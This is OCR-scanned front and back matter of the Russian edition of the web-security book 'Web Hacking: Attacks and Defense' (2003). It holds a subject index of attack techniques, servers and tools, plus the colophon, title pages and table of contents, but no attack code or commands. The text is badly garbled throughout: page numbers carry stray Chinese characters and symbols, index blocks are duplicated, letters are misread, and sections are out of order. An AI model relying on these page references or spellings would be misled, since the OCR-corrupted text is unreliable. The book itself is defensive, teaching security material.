283НТТР/1.0, /0^352методы, 109DES, 114
DHTML, 32
Discover DeskShop, приложение, 99
Discover, кредитная карточка, 99
Document Type Definition, 32
DoS, 84; 328
DSN, 41; 152
DTD, 32
Dual-homed system, 206
Dynamic Shared Object, 144
E
E-commerce, 223
Enterprise Manager, 74
E-shoplifting, 223
extensible Markup Language, 32
DHTML, 32
Discover DeskShop, приложение, 99
Discover, кредитная карточка, 99
Document Type Definition, 32
DoS, 84; 328
DSN, 41; 152
DTD, 32
Dual-homed system, 206
Dynamic Shared Object, 144
E
E-commerce, 223
Enterprise Manager, 74
E-shoplifting, 223
extensible Markup Language, 32
False positive, 335
Flash, технология, 226
Front-end Web server, 141
FrontPage, 66
G
GNU, лицензия, 173
Google, 235
H
Handler, 261
forcing, 261
Header field, 10% 113
Heap spraying, 327
HTML, 29
дескрипторы, 30 динамический, 32 комментарий, 166 форма, 129
HTML Validation Service, 30
HTTP, 107, 777
запрос, 109
ответ, 109
управление сеансами, 283
НТТР/1.0, /0^352
методы, 109
False positive, 335
Flash, технология, 226
Front-end Web server, 141
FrontPage, 66
G
GNU, лицензия, 173
Google, 235
H
Handler, 261
forcing, 261
Header field, 10% 113
Heap spraying, 327
HTML, 29
дескрипторы, 30 динамический, 32 комментарий, 166 форма, 129
HTML Validation Service, 30
HTTP, 107, 777
запрос, 109
ответ, 109
управление сеансами, 283
НТТР/1.0, /0^352
методы, 109
НТГР/IJ. 112; 352
адрес URL, 112
HTTPS, 114
HTTP-аутентификация, 207
HyperText Markup Language, 30
HyperText Transfer Protocol, 107
IDS, 107. 334
IETF, 108
IIS, 5a 120
виртуальный каталог, 66
индексный сервер, 65
Interactive Disassembler Pro, 291; 296
Internet Engineering Task Force, 108
Internet Explorer, 164
команда ViewoSource, 765
Internet Information Server, 4a 5医 63
Internet Server Application Programming
Interface, 64
Internet Services Manager, 65
Intrusion Detection System, 10 7; 302; 334
IPSec, 254
IP-псевдоним, 61
ISAPI, 64; 226
фильтр, 326
J2EE, 144
JAD, 49
JAS, 53
Java, 2% 48; 257
Java Database Connectivity, 152
Java Decompiler, 49
Java Server Page, 55; 257
Java Web Server, 53; 257
JavaBeans, 257
JavaHTML, 53
JavaScript, 31; 32; 5a 172; 22& 235
JavaSoft, стандарт, 55
JDBC, /5亿 152
J Developer, 53
JHTML, 53
JRun, 55
Jscript, 31; 52
JSP, 53
вскрытие исходного кода, 54
LIFO, 293
Linkage analysis, 779
Lotus Domino, 147; 281
LWP, библиотека, 207
M
MAC-anpcc, 62
MD5, 207
Microsoft Outlook, 281
Microsoft SQL Server, 5Я ”, 72,247
MIME, 47
Miva Merchant, 104
MySQL, 226
N
Netscape Navigator, 50
команда ViewOPage Source, 164 отключение режима вьшолнения сценариев JavaScript, 236
Nimda, 65; 330
Nomad Mobile Research Center
(NMRC), 306
NTFS, 67; 269
NTLM, 207; 311
О
OCI, 757
ODBC, 150
Open Database Connectivity, 752
Opera, 164; 286
Oracle, 70 7&226; 24 7
9i, 59
Connection Interface, 151
Listener, 79
p
PayFlow, 104
PayFlow Pro, 99
PayPal, 104
Perl, 26; 33; 225
Perl Script, 43
Personal Home Page, 36
PHP, 36; 225
PKL 98
ргоху-сервер, 〃0 313
Public Key Infrastructure, 98
Query string, 11% 121
R
Rain Forest Puppy, лаборатория, 304
RealSecure, 335
Response code, /殁 113
RSA, 114
s
Secure Electronic Transaction, 98
SecureNet, 335
Server Side Includes, 62
SET, 98
SGML, 30 32
ShopPlus, 242
SHTML, 45
Single-Use Credit Card, 99
Snort, 114
Source sifting, 163
Spam, 170
SQL, 247
SQL poisoning, 70
SQL Server, 70
SQL Server Agent, 75
SSI, 45; 62 ~
SSL, 98,•/位 103; 114; 288、33 6
туннелирование, 302\ 338
Standard Generalized Markup Language, 30
T
ТСР-оболочка 203
Tomcat, 257
Transact-SQL, 76
Transport Layer Security, 114
и
UCS Translation Format, 125
Unicode, 201
Uniform Resource Identifier, / /所 352
Uniform Resource Locator, 118
Universal Character Set, /25
URL 152
URL,必 112; 118
основные элементы, 119
полиморфный, 342
UTF-8, /25
V
VBScript, 31; 32; 4亿 IN, 235
vi, 232
Mgnette Story Server, 156
Visual Basic, 40
w
W32/Nimda-A, 330
W3C, за зоб
Web application execution environment, 141
WebCart, 243
WebLogic, 53
WebSphere, 53
Web-приложение, 141
Web-ресурс, 179
Web-сервер, 59
Apache, $* 219
IIS, 4亿 120
Windows File Protection, 329
X
XHTML, 33
XML, 31; 32
A
Автоматическое просеивание исходного кода, /72
Адрес URL, 10% 112
полиморфный, 342
Активная серверная страница, 40
Алгоритм шифрования
Base64, 189
MD5, 207
Анализ
Wcb-pecypca, 190
связей, 179
основная методология, 180
Анализатор сетевых пакетов, 336
EtherPeek, 31
Аплет, 31; 4% 192
Ассемблер, 291
основные инструкции, 293
Атрибут
CLASS1D, 43
DATASOURCE, 39
runat. 41
Аутентификация
Basic, 309
HTTP, 207; 279, 307
NTLM, 207
на базе форм, 309
Б
База данных, 247
Master.dbo, 72
SQL, 247
транзакций, 100
Байт-код, 31; 48
Библиотека
LWP, 207
типов, 43
Бизнес-логика,皎 223
Брандмауэр, 107; 247
В
Взлом паролей, 309
Виртуальная кредитная карточка, 98
Виртуальный
каталог, 66
узел, 6已 68
на базе IP-адресов, 61
на базе имен, 60
Вирус-червь, 65; 302; 326
Code Red, 125; 328
Внешний Web-сервер, 141
Внутреннее перенаправление, 145
Впрыскивание в кучу, 327
Временное состояние, 284
Время жизни электронной торговой
тележки, 91
Вскрытие исходного кода, 54
Вторичный 1Р-адрес, 68
Вьщеление в структуре приложения
отдельных логических групп, 187
Гипертекст, 179
д
Двойное декодирование, /2^ 330
Двухадаптерная система, 206
Декомпилятор Java, 49
Демон
сгоп, 203
inetd, 338
wu-ftpd, 212
Дескриптор, 30
<\--,166
<А>, 169
<applet>, 31; 49; 5代 192
<CFQUERY>, 39
<form>, 3亿 34; 73。/6* 192; 232
<img>, 32
<INPUT>, /за 171
<java>, 55
<META>, 164; 171; 187
<object>, 32; 43; 192
〈script〉,31; 41; 52; 172; 193
〈SELECT〉,132
якоря, /79
Дешифратор URL, 343
Диаграмма состояний, 282
Дизассемблирование, 296
Динамический HTML, 3Z 225
Директива, 47
Action, 63
EXEC, 47
Listen, 219
Options, 62
Options Indexes, 220
Sc ript Alias. 63
VirtualHost, 62
перенаправления, 187
Документ
DTD, 32
ISO 10646, 125
RFC 1945, /他 354
RFC 2616, 772
Домен, 308
3
Загрузчик сервлетов, 260
Закрытый симметричный ключ, 340
Запись
CNAME, 60
Запуск управляющих элементов
ActiveX, 32
И
Идентификатор
CLSID, 43
сеанса, ”/; 228、276; 287
Избыточное декодирование, 128
Изъян
Unicode, 726; 201; 330
двойного декодирования, 128
фильтра .ida, 65
Инвентаризация Web-ресурсов, 194
Индексный
регистр, 293
сервер, 326
Интерфейс
CGI, 34; 44; 62
ISAPI, 64
OCI, 151
общего шлюза, 727; 256
Информационная схема, 77
Искусственный интеллект, 348
Исследование Web-узла, 181
Источник данных, 39
Канал платежей, 90
Карта Web-приложения, 180 Каталог товаров, 93; 94 Клиентский сценарий, /72; 193 Ключ сеанса, 340
Кнопка передачи данных, 131
Код ответа, 7^ 113
Комментарий HTML, 166 Компьютерный червь, 302 Конвейер, 26; 123
Конечное состояние, 282 Консорциум
Unicode, 725
W3C, 30
Краулер, /8/; 522
Краулинг, 181
Л
Линия перехода, 2*2
Ловушка, 347
Ложное срабатывание, 335
м
Матрица Web-ресурсов, /殁 193
Метасимвол, 725; 257; 323
Метод
GET, 111
НТТР/1.0, 109
OPTIONS, ПО
POST, 34 передачи данных, 131 информации, 31
Механизм управления сеансами, 94
Модель
открытого кода, 257
электронной коммерции, 90
Модуль управления сеансами, 93
Мошенничество с кредитными
карточками, 97; 239
н
Начальное состояние, 2*2
о
Обработчик, 63; 261
подмена, 261
прерываний, 2Р7
события on Mouse Over, 32
Обратное проектирование, 2*7; 316
Обход
анализа сигнатур, 342
механизма проверки данных, 257
систем IDS, 346
Объектная модель компонентов, 3g 43
Операция XOR, 275
Отказ в обслуживании, 84; 328
Отображение URL-адресов, 145
Отслеживание сеансов, 2*5; 2*7
Оценка Web -приложений, 366
Ошибка Unicode, 126
п
Пакет, 107
Передача параметров с помощью URL, 722
Переменная окружения
CGI, 46
HTTP—USER AGENT, 45
ORACLE..HOME, 80
query—String, 46; 121
REQUEST-METHOD, /33
Перенаправление, 186
реверсивное, 279
Переполнение буфера, 65; 24凭 291;
293; 319
удаленное, 326
Перехват сеансов, 275; 281 .
Платежная система PayFlow Pro, 99
Подбор паролей, 307
HTTP, 216
в лоб, 310
Подмена обработчика, 261
Подсистема
ShopPlus, 242
WcbCart, 243
выбора товаров, 88"、91; 92; 94; 235
удаленное выполнение команд, 242
обработки платежей, 225
проблемы реализации, 103
управления складом, 225
Поиск скрытых полей, 234
Поле
Content-Type, 182
Location, ПО
Via, 114
заголовка, /伐 〃0 113
Полиморфный
адрес URL, 342
код, 336
Препроцессор HTTP, 343
Приложение с сохранением
состояния, 285
Принцип третьего среднего, 347
Проблема подмены цен, 239
Проверка
входных данных, 24, 269 с помощью клиентского
сценария, 235
Программа
Achilles, 304; 319
Blackice Defender, 335
Brutus, 309
Cookie Pal, 275; 286; 304; 314; 316
Entercept, 300
fetchmail, 2ft?
fragrouter, 336
Funnel Web Profiler, 183; 190
HTML Tidy, 30
OpenSSL, 338
Perl2exe, 36
PortSentry, 335
RealSecure, 335
SecureNet, 335
Snort, 335; 342
Softlcc, 297
Teleport Pro, /3戈 176; 185; 304; 322
Whisker, 346; 366
Программа-краулер, 182
перенаправление, 186
Продажа по каталогам, 87
Просеивание исходного кода, 163
автоматическое, 172
Протокол, 107
HTTP, 707; 777; 202; 281
HTTPS, 107; 114
IPScc, 254
SET, 98
SSL,俭 7俭 103; 114; 336
TFTP, 331
TLS, 114
Профиль поБсупателя, 104
Псевдоним сервлета, 56
р
Разовая кредитная карточка, 98
Раскрытие исходного кода, 163; 358
Расширяемый язык разметки, 32
Реверсивное перенаправление, 219
Реверсивный НТТР-посредник, 339
Регистр
индексный, 293
общего назначения, 292
Регулярное выражение, 35; 38
Редактор vi, 232
Реляционная база данных, 226
Сервер
IIS, 207; 256
удаленное переполнение буфера, 326
Java Web Server, 257
JRun, 257
Jserv, 257
Lotus Domino, 281
WebSphere, 257 баз данных, 5* 7ft индексный, 326 приложений Java, 53
Серверная страница Java, 53
Серверные включения, 45; 62
Серверный сценарий, 35; 40
Сервлет, 53; 101; 257; 2 70
FileServlct, 261
HTTPscrvlet. 257
JSPServlet, 261
PFServIct, 101
SnoopServlct, 261 псевдоним, 56 уровня ядра, 261
Сетевая система выявления вторжений, 334
Сетевой анализатор пакетов, //4
Сигнатура атаки, 334; 342
Система
выявления вторжений, 10 7; 302; 334
основные элементы, 334
уровня узла, 335
обработки платежей, 88
PayHow, 104
Скрытое поле, 77/; 287
поиск, 235
Скрытый
атрибут, 5/
дескриптор, 229
Служба защиты системных файлов, 329
Сокрытие кода сценариев Perl, 36
Состояние, 282
временное, 284
конечное, 282
начальное, 282
Сохранение состояний, 287
Спецификация HTML 4.0, 164
Список управления доступом, 67
Спэм, 170
Среда выполнения Web-приложения, 141
Стандарт
ANSI-92, 77
J2EE, 154
JavaSoft, 55
Стандартный обобщенный язык разметки, 32
Стек, 293
Строка запроса, 〃纟 /2/; /22; /9/; 242
Структура URL, 119
Схема традиционной розничной
торговли, 224
Сценарий
listgen.pl, 307
tnscmd.pl, 80
клиентский, 772; 193
серверный, 35; 40
Счетчик команд, 293
Теория конечных автоматов, 282 Технология
ASP, 256
впрыскивания в кучу, 327
Тип MIME, 47
Торговая тележка,做 90
изъян проверки входных данных, 237
Традиционная модель розничной торговли, 88
ТроянсБсий конь, 329
Тмшсли^вание, //2; 33*
SSL, 302
У
Удаленное выполнение команд, 24a 242、
26乃 356
Указатель стека, 293
Универсальный
идентификатор ресурса, 352
клиент, 281
локатор ресурсов, /М
набор символов, 725
Управление
сеансами, 93; 94; 191; 225; 228
HTTP, 283
складом, 225
Утилита
AchiUes, 372
Black Widow, 776; 182
Brutus, 2/6; 304
Enterprise Manager, 74
findstr, 173
FoundScan, 3〃
Fscan, 247; 366
grep, 772; /75
Netcat, /53; l&t 205; 252; 26a 291;
304; 305
Nmap, 203; 366
NTOMax, 297
osql.exe, 247; 253
Sam Spade, /76; 185
Scanner, 366
snort, 114
SQLPingZ, 247
ssldump, 775; 340
stunnel, 339
SuperScan, 366
tcpdump. 340
WebCracker, 276
wgct, 773; /S2, 322
Wiisker, 161; 304; 306; 30 7
xterm, 27
Ф
Файл
.class, 48
/dev/null, 286
cookie, 376
global.asa, 47; 253
httpd.conf, 62
scan.db, 306
weblogic.properties, 261
класса Java, 49
Фальсификация SQL, 70
Фильтр
1SAP1, 64; 66; 226
Форма, /2欠 192
①ункци只
GetProcAddress, 298
LoadLibraryA, 298
open(), 243
phpinfo() 45
X
Хранимая процедура, 72
$P_helpdb,248 xp_cmdshell, 25/; 302
Ц
Цифровой сертификат, 98
ч
Червь, 302; 326
Code Red, 328
CodeRed II, 329
Morris, 326
Nimda, 330
Ш
Шифрование
Base64, 207
по открытому ключу, 98
э
Электронная
коммерция, 87; 223
торговая тележка, 90, 93; /做 224; 225;
235
Carello, 95
DCShop, 95
Hassan Consulting, 96
Miva Merchant, 104
время жизни, 91
Электронное воровство, 223
Электронный магазин
подсистема обработки платежей, 225
торговая тележка, 225
торговый зал, 225
Элемент управления ActiveX, 43
я
Язык
HTML, 29
Java, 257
JavaScript, 172
JHTML, 56
J Script, 43
Perl, 33
PeriScript, 43
PHP, 36
Visual Basic, 40
XHTML, 33
XML, 302
ассемблера, 291
основные инструкции, 293
командной оболочки, 45
сценариев, 32; 5a 52
Научно-популярное издание
Стюарт Мак-Клар, Саумил Шах, Шрирай Шах
Хакинг в Web: атаки и защита
Литературный редактор Т. П. Кайгородова
Верстка А/ А. Удалое
Художественный редактор С. Л. Чернокозинский
Корректоры」7 4 Гордиенко, Т. А. Корзун
Издательский дом "Вильяме".
101509, Москва, ул. Лесная, д. 43, стр. 1.
Изд. лиц. ЛР № 090230 от 23.06.99Госкомитета РФ по печати.
Подписано в печать 28.03.2003. Формат 70X100/16.
Гарнитура Times. Печать офсетная.
Усл. печ. л. 30,96. Уч.-изд. л. 21,82.
Тираж 3500 экз. Заказ № 2649.
Отпечатано с диапозитивов в ФГУП "Печатный двор"Министерства РФ по делам печати,телерадиовещания и средств массовых коммуникаций.197110, Санкт-Петербург, Чкаловский пр., 15.
Стюарт Мак-Клар
Автор Секретов хакеров
АТАКИ и ЗАЩИТА
entory") die(nFailed
my sq l_select_db."); / /
,81, 88, 1080, /000, 7Q01, 8000, 8080, 80, 81, 8B, 4И J, /000, 700
▼ ▼
АТАКИ и ЗАЩИТА
HACKING
ATTACKS and DEFENCE
STUART McCLURE
SAUMIL SHAH
SHREERAJ SHAH
合
ADDISON-WESLEY
Boston • San Francisco • New York • Toronto • MontrealLondon • Munich • Paris • Madrid
Capetown • Sydney • Tokyo • Singapore • Mexico City
АТАКИ и ЗАЩИТА
СТЮАРТ МАК-КЛАР
САУМИЛ ШАХШРИ РАЙ ШАХ
Москва • Санкт-Петербург • Киев
2003
ББК 32.973.26-018.2.75
М15
УДК 681.3.07
Издательский дом ,,Bильямe,,
Зав. редакцией С Я. Тригуб
Перевод с английского Е. Н. Василенко, Т. В. ТимошокпА. Ю. Шелесшова
Под редакцией А. Ю. Шелесшова
По общим вопросам обращайтесь в Издательский дом **Вильямсм по адресу:info@williamspublishing.com, http://www.williamspublishing.com
Мак-Клар, Стюарт, Шах, Саумил, Шах, Шрирай.
М15 Хакинг в Web: атаки и зашита : Пер. с англ. — М. : Издательский дом “Вилвяме”,2003. — 384 с. : ил. — Парал. тит. англ.
ISBN 5-8459-0439-0 (рус.)
Эта книга является полным справ очником, в котором содержится самая последняя информация об атаках в Web и защите от них. Эксперты в области обеспечения безопасности Стюарт Мак-К-чар (ведущий автор серии книг Секреты хакеров) у а также Саумил Шах и Шрирай Шах предлагают описание большого количества атак и способов защиты. К рассматриваемым в книге технологиям относятся языки для создания Web -приложений, протоколы, серверы баз данных и Web-серверы, а также подсистемы обработки платежей и выбора товаров. Кроме того, здесь обсуждаются серьезные изъяны, связанные с адресами URL. Авторы книги показывают, как провести линию между отдельными точками, т.е. как соединить отдельные этапы атак вместе, реализовав таким образом оптимальную защиту против них. Удачно изложенный материал и последовательное описание проверенных методов анализа помогут защититься от потенциальной угрозы нарушения безопасности и атак взломщиков.
Как начинающие, так и опытные читатели смогут лучше понять природу атак в Web и получат новые знания в области защиты от подобных атак.
ББК 32.973.26-018.2.75
Все названия программных продуктов являются зарегистрированными торговыми марками соответствующих фирм.
Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами, будь то электронные или механические, включая фотокопирование и запись на магнитный носитель, если на это нет письменного разрешения издательства Addison-Wesley Publishing Company, Inc.
Authorized translation from the English language edition published by Addison-Wesley Publishing Company, Inc., Copyright © 2003 by Pearson Education, Inc.
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.
Russian language edition published by Williams Publishing House according to the Agreement with R&l Enterprises International, Copyright © 2003
ISBN 5-8459-0439-0 (pyc.)ISBN 0-201-76176-9 (англ.)ISBN 5-8459-0439-0 (pyc.)ISBN 0-201-76176-9 (англ.)© Издательский дом "Вильяме", 2003
ISBN 5-8459-0439-0 (pyc.)
ISBN 0-201-76176-9 (англ.)
ISBN 5-8459-0439-0 (pyc.)
ISBN 0-201-76176-9 (англ.)
© Peaison Education, Inc., 2003
Оглавление
Введение16
Часть I. Будни электронной коммерции21
Глава 1. Языки программирования для Web: Вавилон XXI столетия 28
Глава 2. Web-серверы и серверы баз данных58
Глава 3. Выбор товаров и обработка платежей86
Глава 4. Хакинг протоколов HTTP и HTTPS106
Глава 5. URL: оружие хакера в Web117
Часть II. Секреты URL137
Глава 6. За кулнсамн Web-сервера140
Глава 7. Читая между строк162
Глава 8. Анализ связей Web-узла178
Часть III. Как они это делают197
Глава 9. Киберграффити200
Глава 10. Кражи в элеьстронных магазинах222
Глава 11. Доступ к базам данных246
Глава 12. Java: удаленное выполнение команд255
Глава 13. Перевоплощение272
Глава 14. Переполнение буфера ”на лету**289
Часть IV, Приемы кунг фу в Web301
Глава 15. Хакинг в Web: средства автоматизации303
Глава 16. Вирусы-черви.325
Глава 17. Обход систем IDS333
Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web-серверами349
Приложение Б. Методы и определения полей протоколов НГГР/1.1
иНТТР/1.0351
Приложение В. Удаленное выполнение команд355
Приложение Г. Раскрытие исходного кода, файлов и каталогов357
Приложение Д. Ресурсы и ссылки363
Приложение Е. Средства оценки Web-приложений365
Предметный указатель367
14^ 2122282929303232333336384044485357585959596370727885^ ^^эдя14^ 2122282929303232333336384044485357585959596370727885^ ^^эдя
14^ 2122282929303232333336384044485357585959596370727885^ ^^эдя
14^ 2122282929303232333336384044485357585959596370727885^ ^^эдя
Содержание
Предисловие
Введение
нМы в безопасности: у нас есть брандмауэр1*
Человек склонен ошибаться
Надписи на стене
Структура книги
Части
Главы
Несколько заБслючительных замечаний
Благодарности
Соавтор
Часть I. Будни электронной коммерции
Случай из жизни: Web-узел компании Acme Art, Inc. взломан!